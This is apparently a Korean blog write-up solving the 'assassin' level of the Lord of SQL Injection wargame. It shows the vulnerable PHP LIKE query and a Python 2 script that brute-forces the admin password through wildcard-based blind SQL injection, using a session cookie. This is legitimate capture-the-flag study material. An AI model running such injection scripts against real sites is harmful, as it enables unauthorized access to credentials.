WebHacking/Load Of Sql Injection
LOS assassin
HSr00t
2018. 2. 15. 04:22
1 2 3 4 5 6 7 8 9 10 11 12 | <?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("assassin"); highlight_file(__FILE__); ?> | cs |
이번 문제는 blind sql injection문제다.
where을 주지않고 like를 준것을보니 %를 이용하라는 뜻인것같다.
input+%를 넣어서 아스키코드들을 다 넣어주면 Hello admin이 뜨지않는것을 볼수있다.
만약 guest와 admin비밀번호 앞자리가 같고 guest데이터가 admin보다 위에있다면 저런식으로는 Hello admin이 뜰수없다.
위 상황으로 가정을하고 한자리씩 알아보면서 비밀번호와 %를 넣어주면서 admin이 뜰때까지 비밀번호를 알아낸다면 문제를 풀수있을것이다.
아래 공격코드는 Hello guest를 이용하여서 2자리(83)를 알아내고난 후 공격코드다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import urllib2 j = 1 input_ = 33 #0 passwd = '' i = 0 num = 8 while(True): url = 'https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=' url += '83%s'%(chr(input_)) url += '%' req = urllib2.Request(url) req.add_header('User-Agent','Mozilla/5.0') req.add_header('cookie','PHPSESSID=p1fad2hverso8kg1fs3fndoof6') data = urllib2.urlopen(req).read() print url if 'Hello admin' in data or 'Clear' in data or 'clear' in data: print 'Admin Search %s' %(chr(input_)) break elif '<h2>Hello guest</h2>' in data: print 'Guest %s' %(chr(input_)) #guest 8% true, guest 83% true input_+=1 else: input_+=1 | cs |